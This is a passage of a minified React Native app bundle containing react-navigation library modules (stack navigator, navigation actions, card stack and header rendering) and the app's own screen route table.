i)u.vibrate();else{if(!Array.isArray(i))throw new Error(\"Vibration pattern should be a number or array\");e(i,r)}},cancel:function(){a=!1}};t.exports=v},298);\n__d(function(t,i,r,n){\"use strict\";var o=i(15).Vibration,a=i(13),e={vibrate:function(){a(void 0===arguments[0],\"Vibration patterns not supported.\"),o.vibrate()}};r.exports=e},299);\n__d(function(_,t,E,s){\"use strict\";var O=t(44),R=O.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;E.exports=R.takeSnapshot},300);\n__d(function(e,r,t,l){Object.defineProperty(l,\"__esModule\",{value:!0});var o=r(52),n=babelHelpers.interopRequireDefault(o),a=r(12),u=r(302),s=babelHelpers.interopRequireDefault(u),b=(a.Platform.select({ios:\"Press Cmd+R to reload,\\nCmd+D or shake for dev menu\",android:\"Double tap R on your keyboard to reload,\\nShake or press menu button for dev menu\"}),function(e){function r(){return babelHelpers.classCallCheck(this,r),babelHelpers.possibleConstructorReturn(this,(r.__proto__||Object.getPrototypeOf(r)).apply(this,arguments))}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"render\",value:function(){return n.default.createElement(s.default,null)}}]),r}(o.Component));l.default=b},301);\n__d(function(e,l,r,a){Object.defineProperty(a,\"__esModule\",{value:!0});var t=l(303),n=l(368),u=babelHelpers.interopRequireDefault(n),i=l(369),o=babelHelpers.interopRequireDefault(i),f=l(418),s=babelHelpers.interopRequireDefault(f),b=l(395),c=babelHelpers.interopRequireDefault(b),p=l(419),d=babelHelpers.interopRequireDefault(p),R=l(422),D=babelHelpers.interopRequireDefault(R),H=l(424),q=babelHelpers.interopRequireDefault(H),g=l(425),k=babelHelpers.interopRequireDefault(g),S=l(427),h=babelHelpers.interopRequireDefault(S),v=l(429),y=babelHelpers.interopRequireDefault(v),T=l(430),L=babelHelpers.interopRequireDefault(T),M=l(433),_=babelHelpers.interopRequireDefault(M),m=l(434),C=babelHelpers.interopRequireDefault(m),O=l(435),B=babelHelpers.interopRequireDefault(O),E=l(437),F=babelHelpers.interopRequireDefault(E),N=l(438),W=babelHelpers.interopRequireDefault(N),j=l(439),A=babelHelpers.interopRequireDefault(j),P=(0,t.StackNavigator)({Launch:{screen:u.default},Tabbar:{screen:o.default},Blank:{screen:s.default},Webv:{screen:c.default},Set:{screen:d.default},Modify:{screen:D.default},Feedback:{screen:q.default},Collect:{screen:k.default},WeekHot:{screen:h.default},OfflineActivity:{screen:y.default},MyLike:{screen:L.default},DidRead:{screen:_.default},SpecialColumn:{screen:C.default},Login:{screen:B.default},Register:{screen:F.default},Forget:{screen:W.default},User:{screen:A.default}},{initialRouteName:\"Launch\",navigationOptions:{headerBackTitle:null,headerStyle:{backgroundColor:\"#fff\"},headerTitleStyle:{color:\"#333\",alignSelf:\"center\"},cardStack:{gesturesEnabled:!0}},mode:\"card\",headerMode:\"screen\",onTransitionStart:function(){console.log(\"\\u5bfc\\u822a\\u680f\\u5207\\u6362\\u5f00\\u59cb\")},onTransitionEnd:function(){console.log(\"\\u5bfc\\u822a\\u680f\\u5207\\u6362\\u7ed3\\u675f\")}});a.default=P},302);\n__d(function(t,e,n,c){n.exports={get createNavigationContainer(){return e(304).default},get StateUtils(){return e(309).default},get addNavigationHelpers(){return e(307).default},get NavigationActions(){return e(306).default},get createNavigator(){return e(310).default},get StackNavigator(){return e(311).default},get TabNavigator(){return e(343).default},get DrawerNavigator(){return e(359).default},get StackRouter(){return e(334).default},get TabRouter(){return e(344).default},get Transitioner(){return e(331).default},get CardStackTransitioner(){return e(312).default},get CardStack(){return e(313).default},get Card(){return e(315).default},get SafeAreaView(){return e(325).default},get Header(){return e(318).default},get HeaderTitle(){return e(319).default},get HeaderBackButton(){return e(320).default},get DrawerView(){return e(361).default},get DrawerItems(){return e(366).default},get TabView(){return e(345).default},get TabBarTop(){return e(356).default},get TabBarBottom(){return e(358).default},get withNavigation(){return e(367).default}}},303);\n__d(function(t,e,a,n){function i(t){var e=function(e){function a(e){babelHelpers.classCallCheck(this,a);var n=babelHelpers.possibleConstructorReturn(this,(a.__proto__||Object.getPrototypeOf(a)).call(this,e));return n.subs=null,n._handleOpenURL=function(e){var a=e.url,i=n._urlToPathAndParams(a);if(i){var o=i.path,r=i.params,s=t.router.getActionForPathAndParams(o,r);s&&n.dispatch(s)}},n.dispatch=function(e){var a=u.default.mapDeprecatedActionAndWarn(e);if(!n._isStateful())return!1;var i=n.state.nav;(0,v.default)(i,\"should be set in constructor if stateful\");var o=t.router.getStateForAction(a,i);return!(!o||o===i)&&(n.setState({nav:o},function(){return n._onNavigationStateChange(i,o,a)}),!0)},n._validateProps(e),n.state={nav:n._isStateful()?t.router.getStateForAction(u.default.init()):null},n}return babelHelpers.inherits(a,e),babelHelpers.createClass(a,[{key:\"_isStateful\",value:function(){return!this.props.navigation}},{key:\"_validateProps\",value:function(t){if(!this._isStateful()){var e=(t.navigation,t.screenProps,babelHelpers.objectWithoutProperties(t,[\"navigation\",\"screenProps\"])),a=Object.keys(e);if(0!==a.length)throw new Error(\"This navigator has both navigation and container props, so it is \"+('unclear if it should own its own state. Remove props: \"'+a.join(\", \")+'\" ')+\"if the navigator should get its state from the navigation prop. If the navigator should maintain its own state, do not pass a navigation prop.\")}}},{key:\"_urlToPathAndParams\",value:function(t){var e={},a=this.props.uriPrefix||\"://\",n=t.split(a)[1];return\"undefined\"==typeof n&&(n=t),{path:n,params:e}}},{key:\"_onNavigationStateChange\",value:function(t,e,a){return\"undefined\"==typeof this.props.onNavigationStateChange&&this._isStateful()&&process.env.REACT_NAV_LOGGING?void(console.group?(console.group(\"Navigation Dispatch: \"),console.log(\"Action: \",a),console.log(\"New State: \",e),console.log(\"Last State: \",t),console.groupEnd()):console.log(\"Navigation Dispatch: \",{action:a,newState:e,lastState:t})):void(\"function\"==typeof this.props.onNavigationStateChange&&this.props.onNavigationStateChange(t,e,a))}},{key:\"componentWillReceiveProps\",value:function(t){this._validateProps(t)}},{key:\"componentDidMount\",value:function(){var t=this;this._isStateful()&&(this.subs=s.BackHandler.addEventListener(\"hardwareBackPress\",function(){return t.dispatch(u.default.back())}),s.Linking.addEventListener(\"url\",this._handleOpenURL),s.Linking.getInitialURL().then(function(e){return e&&t._handleOpenURL({url:e})}))}},{key:\"componentWillUnmount\",value:function(){s.Linking.removeEventListener(\"url\",this._handleOpenURL),this.subs&&this.subs.remove()}},{key:\"render\",value:function(){var e=this.props.navigation;if(this._isStateful()){var a=this.state.nav;(0,v.default)(a,\"should be set in constructor if stateful\"),this._navigation&&this._navigation.state===a||(this._navigation=(0,h.default)({dispatch:this.dispatch,state:a})),e=this._navigation}return(0,v.default)(e,\"failed to get navigation\"),r.default.createElement(t,babelHelpers.extends({},this.props,{navigation:e}))}}]),a}(r.default.Component);return e.router=t.router,e}Object.defineProperty(n,\"__esModule\",{value:!0}),n.default=i;var o=e(52),r=babelHelpers.interopRequireDefault(o),s=e(305),l=e(306),u=babelHelpers.interopRequireDefault(l),p=e(307),h=babelHelpers.interopRequireDefault(p),c=e(308),v=babelHelpers.interopRequireDefault(c)},304);\n__d(function(n,e,i,a){Object.defineProperty(a,\"__esModule\",{value:!0}),a.Linking=a.BackHandler=void 0;var d=e(12),k=d.BackHandler||d.BackAndroid;a.BackHandler=k,a.Linking=d.Linking},305);\n__d(function(t,e,a,n){Object.defineProperty(n,\"__esModule\",{value:!0});var i=\"Navigation/BACK\",r=\"Navigation/INIT\",o=\"Navigation/NAVIGATE\",c=\"Navigation/RESET\",u=\"Navigation/SET_PARAMS\",s=\"Navigation/URI\",p=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{type:i,key:t.key}},y=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e={type:r};return t.params&&(e.params=t.params),e},m=function(t){var e={type:o,routeName:t.routeName};return t.params&&(e.params=t.params),t.action&&(e.action=t.action),e},v=function(t){return{type:c,index:t.index,key:t.key,actions:t.actions}},d=function(t){return{type:u,key:t.key,params:t.params}},f=function(t){return{type:s,uri:t.uri}},l=function t(e){if(\"Navigate\"===e.type){var a={routeName:e.routeName,params:e.params};return e.action&&(a.action=t(e.action)),m(a)}return e},N=function(t){return\"Back\"===t.type?p(t):\"Init\"===t.type?y(t):\"Navigate\"===t.type?l(t):\"Reset\"===t.type?v({index:t.index,key:t.key,actions:t.actions.map(l)}):\"SetParams\"===t.type?d(t):t},g=function(t){var e=N(t);if(e!==t){var a=t.type,n=e.type;console.warn([\"The action type '\"+a+\"' has been renamed to '\"+n+\"'.\",\"'\"+a+\"' will continue to work while in beta but will be removed\",\"in the first major release. Moving forward, you should use the\",\"action constants and action creators exported by this library in\",\"the 'actions' object.\",\"See https://github.com/react-community/react-navigation/pull/120 for\",\"more details.\"].join(\" \"))}return e};n.default={BACK:i,INIT:r,NAVIGATE:o,RESET:c,SET_PARAMS:u,URI:s,back:p,init:y,navigate:m,reset:v,setParams:d,uri:f,mapDeprecatedActionAndWarn:g}},306);\n__d(function(e,t,a,r){Object.defineProperty(r,\"__esModule\",{value:!0}),r.default=function(e){return babelHelpers.extends({},e,{goBack:function(t){var a=t;return void 0===t&&e.state.key&&((0,i.default)(\"string\"==typeof e.state.key,\"key should be a string\"),a=e.state.key),e.dispatch(s.default.back({key:a}))},navigate:function(t,a,r){return e.dispatch(s.default.navigate({routeName:t,params:a,action:r}))},setParams:function(t){(0,i.default)(e.state.key&&\"string\"==typeof e.state.key,\"setParams cannot be called by root navigator\");var a=e.state.key;return e.dispatch(s.default.setParams({params:t,key:a}))}})};var n=t(306),s=babelHelpers.interopRequireDefault(n),u=t(308),i=babelHelpers.interopRequireDefault(u)},307);\n__d(function(n,e,r,i){\"use strict\";function o(n,e,r,i,o,a,f,s){if(t(e),!n){var u;if(void 0===e)u=new Error(\"Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.\");else{var c=[r,i,o,a,f,s],d=0;u=new Error(e.replace(/%s/g,function(){return c[d++]})),u.name=\"Invariant Violation\"}throw u.framesToPop=1,u}}var t=function(n){};r.exports=o},308);\n__d(function(e,n,r,t){Object.defineProperty(t,\"__esModule\",{value:!0});var u=n(308),i=babelHelpers.interopRequireDefault(u),o={get:function(e,n){return e.routes.find(function(e){return e.key===n})||null},indexOf:function(e,n){return e.routes.map(function(e){return e.key}).indexOf(n)},has:function(e,n){return!!e.routes.some(function(e){return e.key===n})},push:function(e,n){(0,i.default)(o.indexOf(e,n.key)===-1,\"should not push route with duplicated key %s\",n.key);var r=e.routes.slice();return r.push(n),babelHelpers.extends({},e,{index:r.length-1,routes:r})},pop:function(e){if(e.index<=0)return e;var n=e.routes.slice(0,-1);return babelHelpers.extends({},e,{index:n.length-1,routes:n})},jumpToIndex:function(e,n){return n===e.index?e:((0,i.default)(!!e.routes[n],\"invalid index %s to jump to\",n),babelHelpers.extends({},e,{index:n}))},jumpTo:function(e,n){var r=o.indexOf(e,n);return o.jumpToIndex(e,r)},back:function(e){var n=e.index-1,r=e.routes[n];return r?o.jumpToIndex(e,n):e},forward:function(e){var n=e.index+1,r=e.routes[n];return r?o.jumpToIndex(e,n):e},replaceAt:function(e,n,r){var t=o.indexOf(e,n);return o.replaceAtIndex(e,t,r)},replaceAtIndex:function(e,n,r){if((0,i.default)(!!e.routes[n],\"invalid index %s for replacing route %s\",n,r.key),e.routes[n]===r)return e;var t=e.routes.slice();return t[n]=r,babelHelpers.extends({},e,{index:n,routes:t})},reset:function(e,n,r){(0,i.default)(n.length&&Array.isArray(n),\"invalid routes to replace\");var t=void 0===r?n.length-1:r;if(e.routes.length===n.length&&e.index===t){var u=function(e,r){return n[r]===e};if(e.routes.every(u))return e}return(0,i.default)(!!n[t],\"invalid index %s to reset\",t),babelHelpers.extends({},e,{index:t,routes:n})}};t.default=o},309);\n__d(function(e,r,t,n){function o(e,r,t,n){return function(o){var l=function(r){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,r),babelHelpers.createClass(t,[{key:\"render\",value:function(){return a.createElement(o,babelHelpers.extends({},this.props,{router:e}))}}]),t}(a.Component);return l.router=e,l.routeConfigs=r,l.navigatorConfig=t,l.navigatorType=n,l}}Object.defineProperty(n,\"__esModule\",{value:!0}),n.default=o;var l=r(52),a=babelHelpers.interopRequireWildcard(l)},310);\n__d(function(e,t,a,i){Object.defineProperty(i,\"__esModule\",{value:!0});var n=t(52),r=babelHelpers.interopRequireDefault(n),l=t(304),o=babelHelpers.interopRequireDefault(l),u=t(310),d=babelHelpers.interopRequireDefault(u),s=t(312),f=babelHelpers.interopRequireDefault(s),p=t(334),b=babelHelpers.interopRequireDefault(p),R=t(342),c=babelHelpers.interopRequireDefault(R);i.default=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=t.initialRouteName,i=t.initialRouteParams,n=t.paths,l=t.headerMode,u=t.mode,s=t.cardStyle,p=t.transitionConfig,R=t.onTransitionStart,m=t.onTransitionEnd,H=t.navigationOptions,q={initialRouteName:a,initialRouteParams:i,paths:n,navigationOptions:H},v=(0,b.default)(e,q),D=(0,d.default)(v,e,t,c.default.STACK)(function(e){return r.default.createElement(f.default,babelHelpers.extends({},e,{headerMode:l,mode:u,cardStyle:s,transitionConfig:p,onTransitionStart:R,onTransitionEnd:m}))});return(0,o.default)(D)}},311);\n__d(function(e,r,t,n){Object.defineProperty(n,\"__esModule\",{value:!0});var i=r(52),o=babelHelpers.interopRequireWildcard(i),a=r(12),s=r(313),l=babelHelpers.interopRequireDefault(s),u=r(330),p=babelHelpers.interopRequireDefault(u),d=r(331),c=babelHelpers.interopRequireDefault(d),b=r(329),f=babelHelpers.interopRequireDefault(b),v=a.NativeModules&&a.NativeModules.NativeAnimatedModule,h=function(e){function r(){var e,t,n,i;babelHelpers.classCallCheck(this,r);for(var a=arguments.length,s=Array(a),u=0;u<a;u++)s[u]=arguments[u];return t=n=babelHelpers.possibleConstructorReturn(this,(e=r.__proto__||Object.getPrototypeOf(r)).call.apply(e,[this].concat(s))),n._configureTransition=function(e,r){var t=\"modal\"===n.props.mode,i=babelHelpers.extends({},f.default.getTransitionConfig(n.props.transitionConfig,e,r,t).transitionSpec);return v&&p.default.canUseNativeDriver()&&(i.useNativeDriver=!0),i},n._render=function(e){var r=n.props,t=r.screenProps,i=r.headerMode,a=r.mode,s=r.router,u=r.cardStyle,p=r.transitionConfig;return o.createElement(l.default,babelHelpers.extends({screenProps:t,headerMode:i,mode:a,router:s,cardStyle:u,transitionConfig:p},e))},i=t,babelHelpers.possibleConstructorReturn(n,i)}return babelHelpers.inherits(r,e),babelHelpers.createClass(r,[{key:\"render\",value:function(){return o.createElement(c.default,{configureTransition:this._configureTransition,navigation:this.props.navigation,render:this._render,onTransitionStart:this.props.onTransitionStart,onTransitionEnd:this.props.onTransitionEnd})}}]),r}(o.Component);h.defaultProps={mode:\"card\"},n.default=h},312);\n__d(function(e,t,n,r){Object.defineProperty(r,\"__esModule\",{value:!0});var i=t(52),a=babelHelpers.interopRequireWildcard(i),s=t(314),o=babelHelpers.interopRequireDefault(s),l=t(12),u=t(315),p=babelHelpers.interopRequireDefault(u),d=t(318),c=babelHelpers.interopRequireDefault(d),_=t(306),f=babelHelpers.interopRequireDefault(_),g=t(307),h=babelHelpers.interopRequireDefault(g),v=t(328),m=babelHelpers.interopRequireDefault(v),b=t(329),y=babelHelpers.interopRequireDefault(b),R=function(){},x=500,D=.5,H=20,k=25,S=135,P=function(e){e.__isNative&&0===Object.keys(e._listeners).length&&e.addListener(R)},V=function(e){function t(){var e,n,r,i;babelHelpers.classCallCheck(this,t);for(var s=arguments.length,o=Array(s),l=0;l<s;l++)o[l]=arguments[l];return n=r=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(o))),r._gestureStartValue=0,r._isResponding=!1,r._immediateIndex=null,r._screenDetails={},r._getScreenDetails=function(e){var t=r.props,n=t.screenProps,i=t.navigation,a=t.router,s=r._screenDetails[e.key];if(!s||s.state!==e.route){var o=(0,h.default)({dispatch:i.dispatch,state:e.route});s={state:e.route,navigation:o,options:a.getScreenOptions(o,n)},r._screenDetails[e.key]=s}return s},r._getTransitionConfig=function(){var e=\"modal\"===r.props.mode;return y.default.getTransitionConfig(r.props.transitionConfig,{},{},e)},r._renderCard=function(e){var t=r._getTransitionConfig(),n=t.screenInterpolator,i=n&&n(babelHelpers.extends({},r.props,{scene:e})),s=r.props.router.getComponentForRouteName(e.route.routeName);return a.createElement(p.default,babelHelpers.extends({},r.props,{key:\"card_\"+e.key,style:[i,r.props.cardStyle],scene:e}),r._renderInnerScene(s,e))},i=n,babelHelpers.possibleConstructorReturn(r,i)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentWillReceiveProps\",value:function(e){var t=this;e.screenProps!==this.props.screenProps&&(this._screenDetails={}),e.scenes.forEach(function(e){t._screenDetails[e.key]&&t._screenDetails[e.key].state!==e.route&&(t._screenDetails[e.key]=null)})}},{key:\"_renderHeader\",value:function(e,t){var n=this._getScreenDetails(e).options.header;if(\"undefined\"!=typeof n&&\"function\"!=typeof n)return n;var r=n||function(e){return a.createElement(c.default,e)},i=this.props,s=(i.mode,babelHelpers.objectWithoutProperties(i,[\"mode\"]));return r(babelHelpers.extends({},s,{scene:e,mode:t,getScreenDetails:this._getScreenDetails}))}},{key:\"_animatedSubscribe\",value:function(e){P(e.layout.width),P(e.layout.height),P(e.position)}},{key:\"_reset\",value:function(e,t){l.Animated.timing(this.props.position,{toValue:e,duration:t,easing:l.Easing.linear(),useNativeDriver:this.props.position.__isNative}).start()}},{key:\"_goBack\",value:function(e,t){var n=this,r=this.props,i=r.navigation,a=r.position,s=r.scenes,o=Math.max(e-1,0);this._immediateIndex=o,l.Animated.timing(a,{toValue:o,duration:t,easing:l.Easing.linear(),useNativeDriver:a.__isNative}).start(function(){n._immediateIndex=null;var e=s.find(function(e){return e.index===o+1});!n._isResponding&&e&&i.dispatch(f.default.back({key:e.route.key}))})}},{key:\"render\",value:function(){var e=this,t=null,n=this._getHeaderMode();\"float\"===n&&(t=this._renderHeader(this.props.scene,n));var r=this.props,i=r.navigation,s=r.position,u=r.layout,p=r.scene,d=r.scenes,c=r.mode,_=i.state.index,f=\"modal\"===c,g=l.PanResponder.create({onPanResponderTerminate:function(){e._isResponding=!1,e._reset(_,0)},onPanResponderGrant:function(){s.stopAnimation(function(t){e._isResponding=!0,e._gestureStartValue=t})},onMoveShouldSetPanResponder:function(t,n){if(_!==p.index)return!1;var r=null==e._immediateIndex?_:e._immediateIndex,i=n[f?\"dy\":\"dx\"],a=t.nativeEvent[f?\"pageY\":\"pageX\"],s=f?u.height.__getValue():u.width.__getValue(),o=!!s,l=a-i,d=e._getScreenDetails(p).options.gestureResponseDistance,c=void 0===d?{}:d,g=f?c.vertical||S:c.horizontal||k;if(l>g)return!1;var h=Math.abs(i)>H,v=0===r,m=h&&o&&!v;return m},onPanResponderMove:function(t,n){var r=e._gestureStartValue,i=f?\"dy\":\"dx\",a=f?u.height.__getValue():u.width.__getValue(),p=l.I18nManager.isRTL&&\"dx\"===i?r+n[i]/a:r-n[i]/a,d=(0,o.default)(_-1,p,_);s.setValue(d)},onPanResponderTerminationRequest:function(){return!1},onPanResponderRelease:function(t,n){if(e._isResponding){e._isResponding=!1;var r=null==e._immediateIndex?_:e._immediateIndex,i=f?u.height.__getValue():u.width.__getValue(),a=n[f?\"dy\":\"dx\"],o=n[f?\"vy\":\"vx\"],l=i/x,p=Math.max(Math.abs(o),l),d=a/p,c=(i-a)/p;s.stopAnimation(function(t){return o<-.5?void e._reset(r,d):o>.5?void e._goBack(r,c):void(t<=_-D?e._goBack(r,c):e._reset(r,d))})}}}),h=this._getScreenDetails(p),v=h.options,m=\"boolean\"==typeof v.gesturesEnabled?v.gesturesEnabled:\"ios\"===l.Platform.OS,b=m?g.panHandlers:{},y=[C.container,this._getTransitionConfig().containerStyle];return a.createElement(l.View,babelHelpers.extends({},b,{style:y}),a.createElement(l.View,{style:C.scenes},d.map(function(t){return e._renderCard(t)})),t)}},{key:\"_getHeaderMode\",value:function(){return this.props.headerMode?this.props.headerMode:\"android\"===l.Platform.OS||\"modal\"===this.props.mode?\"screen\":\"float\"}},{key:\"_renderInnerScene\",value:function(e,t){var n=this._getScreenDetails(t),r=n.navigation,i=this.props.screenProps,s=this._getHeaderMode();return\"screen\"===s?a.createElement(l.View,{style:C.container},a.createElement(l.View,{style:{flex:1}},a.createElement(m.default,{screenProps:i,navigation:r,component:e})),this._renderHeader(t,s)):a.createElement(m.default,{screenProps:this.props.screenProps,navigation:r,component:e})}}]),t}(a.Component),C=l.StyleSheet.create({container:{flex:1,flexDirection:\"column-reverse\"},scenes:{flex:1}});r.default=V},313);\n__d(function(n,t,o,r){function u(n,t,o){return t<o?n<t?t:n>o?o:n:n<o?o:n>t?t:n}o.exports=u},314);\n__d(function(e,t,r,o){Object.defineProperty(o,\"__esModule\",{value:!0});var l=t(52),n=babelHelpers.interopRequireWildcard(l),s=t(12),a=t(316),i=babelHelpers.interopRequireDefault(a),p=function(e){function t(){return babelHelpers.classCallCheck(this,t),babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props,t=e.children,r=e.pointerEvents,o=e.style;return n.createElement(s.Animated.View,{pointerEvents:r,ref:this.props.onComponentRef,style:[u.main,o]},t)}}]),t}(n.Component),u=s.StyleSheet.create({main:{backgroundColor:\"#E9E9EF\",bottom:0,left:0,position:\"absolute\",right:0,shadowColor:\"black\",shadowOffset:{width:0,height:0},shadowOpacity:.2,shadowRadius:5,top:0}});p=(0,i.default)(p),o.default=p},315);\n__d(function(e,t,n,o){function i(e){var t=function(t){function n(e,t){babelHelpers.classCallCheck(this,n);var o=babelHelpers.possibleConstructorReturn(this,(n.__proto__||Object.getPrototypeOf(n)).call(this,e,t));return o._pointerEvents=o._computePointerEvents(),o}return babelHelpers.inherits(n,t),babelHelpers.createClass(n,[{key:\"componentWillMount\",value:function(){this._onPositionChange=this._onPositionChange.bind(this),this._onComponentRef=this._onComponentRef.bind(this)}},{key:\"componentDidMount\",value:function(){this._bindPosition(this.props)}},{key:\"componentWillUnmount\",value:function(){this._positionListener&&this._positionListener.remove()}},{key:\"componentWillReceiveProps\",value:function(e){this._bindPosition(e)}},{key:\"render\",value:function(){return this._pointerEvents=this._computePointerEvents(),r.createElement(e,babelHelpers.extends({},this.props,{pointerEvents:this._pointerEvents,onComponentRef:this._onComponentRef}))}},{key:\"_onComponentRef\",value:function(e){this._component=e,e&&(0,a.default)(\"function\"==typeof e.setNativeProps,\"component must implement method `setNativeProps`\")}},{key:\"_bindPosition\",value:function(e){this._positionListener&&this._positionListener.remove(),this._positionListener=new u.default(e.position,this._onPositionChange)}},{key:\"_onPositionChange\",value:function(){if(this._component){var e=this._computePointerEvents();this._pointerEvents!==e&&(this._pointerEvents=e,this._component.setNativeProps({pointerEvents:e}))}}},{key:\"_computePointerEvents\",value:function(){var e=this.props,t=e.navigation,n=e.position,o=e.scene;if(o.isStale||t.state.index!==o.index)return o.index>t.state.index?\"box-only\":\"none\";var i=n.__getAnimatedValue()-t.state.index;return Math.abs(i)>h?\"box-only\":\"auto\"}}]),n}(r.Component);return t}Object.defineProperty(o,\"__esModule\",{value:!0}),o.default=i;var s=t(52),r=babelHelpers.interopRequireWildcard(s),p=t(308),a=babelHelpers.interopRequireDefault(p),l=t(317),u=babelHelpers.interopRequireDefault(l),h=.01},316);\n__d(function(e,t,l,n){Object.defineProperty(n,\"__esModule\",{value:!0});var s=(t(12),function(){function e(t,l){babelHelpers.classCallCheck(this,e),this._value=t,this._token=t.addListener(l)}return babelHelpers.createClass(e,[{key:\"remove\",value:function(){this._value.removeListener(this._token)}}]),e}());n.default=s},317);\n__d(function(e,t,r,n){\"no babel-plugin-flow-react-proptypes\";Object.defineProperty(n,\"__esModule\",{value:!0});var o=t(52),i=babelHelpers.interopRequireWildcard(o),s=t(12),a=t(319),l=babelHelpers.interopRequireDefault(a),p=t(320),u=babelHelpers.interopRequireDefault(p),d=t(323),c=babelHelpers.interopRequireDefault(d),h=t(325),f=babelHelpers.interopRequireDefault(h),b=t(326),g=babelHelpers.interopRequireDefault(b),m=\"ios\"===s.Platform.OS?44:56,y=\"ios\"===s.Platform.OS?20:0,v=\"ios\"===s.Platform.OS?70:56,S=function(e){function t(){var e,r,n,o;babelHelpers.classCallCheck(this,t);for(var a=arguments.length,p=Array(a),d=0;d<a;d++)p[d]=arguments[d];return r=n=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(p))),n.state={widths:{}},n._navigateBack=function(){n.props.navigation.goBack(null)},n._renderTitleComponent=function(e){var t=n.props.getScreenDetails(e.scene),r=t.options.headerTitle;if(r&&\"string\"!=typeof r)return r;var o=n._getHeaderTitleString(e.scene),a=t.options.headerTitleStyle,p=t.options.headerTintColor,u=t.options.headerTitleAllowFontScaling,d=\"ios\"===s.Platform.OS?function(t){n.setState({widths:babelHelpers.extends({},n.state.widths,babelHelpers.defineProperty({},e.scene.key,t.nativeEvent.layout.width))})}:void 0;return i.createElement(l.default,{onLayout:d,allowFontScaling:null==u||u,style:[p?{color:p}:null,a]},o)},n._renderLeftComponent=function(e){var t=n.props.getScreenDetails(e.scene).options;if(\"undefined\"!=typeof t.headerLeft)return t.headerLeft;if(0===e.scene.index)return null;var r=n._getBackButtonTitleString(e.scene),o=n._getTruncatedBackButtonTitle(e.scene),s=n.state.widths[e.scene.key]?(n.props.layout.initWidth-n.state.widths[e.scene.key])/2:void 0;return i.createElement(u.default,{onPress:n._navigateBack,pressColorAndroid:t.headerPressColorAndroid,tintColor:t.headerTintColor,title:r,truncatedTitle:o,titleStyle:t.headerBackTitleStyle,width:s})},n._renderRightComponent=function(e){var t=n.props.getScreenDetails(e.scene),r=t.options.headerRight;return r||null},o=r,babelHelpers.possibleConstructorReturn(n,o)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"_getHeaderTitleString\",value:function(e){var t=this.props.getScreenDetails(e).options;return\"string\"==typeof t.headerTitle?t.headerTitle:t.title}},{key:\"_getLastScene\",value:function(e){return this.props.scenes.find(function(t){return t.index===e.index-1})}},{key:\"_getBackButtonTitleString\",value:function(e){var t=this._getLastScene(e);if(!t)return null;var r=this.props.getScreenDetails(t).options.headerBackTitle;return r||null===r?r:this._getHeaderTitleString(t)}},{key:\"_getTruncatedBackButtonTitle\",value:function(e){var t=this._getLastScene(e);return t?this.props.getScreenDetails(t).options.headerTruncatedBackTitle:null}},{key:\"_renderLeft\",value:function(e){return this._renderSubView(e,\"left\",this._renderLeftComponent,c.default.forLeft)}},{key:\"_renderTitle\",value:function(e,t){var r={};return\"android\"===s.Platform.OS?(t.hasLeftComponent||(r.left=0),t.hasRightComponent||(r.right=0)):\"ios\"!==s.Platform.OS||t.hasLeftComponent||t.hasRightComponent||(r.left=0,r.right=0),this._renderSubView(babelHelpers.extends({},e,{style:r}),\"title\",this._renderTitleComponent,c.default.forCenter)}},{key:\"_renderRight\",value:function(e){return this._renderSubView(e,\"right\",this._renderRightComponent,c.default.forRight)}},{key:\"_renderSubView\",value:function(e,t,r,n){var o=e.scene,a=o.index,l=o.isStale,p=o.key,u=this.props.navigation.state.index-a;if(Math.abs(u)>2)return null;var d=r(e);if(null==d)return null;var c=0!==u||l?\"none\":\"box-none\";return i.createElement(s.Animated.View,{pointerEvents:c,key:t+\"_\"+p,style:[k.item,k[t],e.style,n(babelHelpers.extends({},this.props,e))]},d)}},{key:\"_renderHeader\",value:function(e){var t=this._renderLeft(e),r=this._renderRight(e),n=this._renderTitle(e,{hasLeftComponent:!!t,hasRightComponent:!!r});return i.createElement(s.View,{style:[s.StyleSheet.absoluteFill,k.header],key:\"scene_\"+e.scene.key},n,t,r)}},{key:\"render\",value:function(){var e=this,t=void 0;if(\"float\"===this.props.mode){var r=this.props.scenes.map(function(t){return{position:e.props.position,progress:e.props.progress,scene:t}});t=r.map(this._renderHeader,this)}else t=this._renderHeader({position:new s.Animated.Value(this.props.scene.index),progress:new s.Animated.Value(0),scene:this.props.scene});var n=this.props,o=(n.scenes,n.scene),a=(n.position,n.screenProps,n.progress,n.isLandscape),l=babelHelpers.objectWithoutProperties(n,[\"scenes\",\"scene\",\"position\",\"screenProps\",\"progress\",\"isLandscape\"]),p=this.props.getScreenDetails(o),u=p.options,d=u.headerStyle,c=\"ios\"===s.Platform.OS?a?32:44:56,h=[k.container,{height:c},d];return i.createElement(s.Animated.View,l,i.createElement(f.default,{style:h,forceInset:{top:\"always\",bottom:\"never\"}},i.createElement(s.View,{style:k.appBar},t)))}}],[{key:\"HEIGHT\",get:function(){return console.warn(\"Header.HEIGHT is deprecated and will be removed before react-navigation comes out of beta.\"),m+y}}]),t}(i.PureComponent),_=void 0;_=\"ios\"===s.Platform.OS?{borderBottomWidth:s.StyleSheet.hairlineWidth,borderBottomColor:\"rgba(0, 0, 0, .3)\"}:{shadowColor:\"black\",shadowOpacity:.1,shadowRadius:s.StyleSheet.hairlineWidth,shadowOffset:{height:s.StyleSheet.hairlineWidth},elevation:4};var 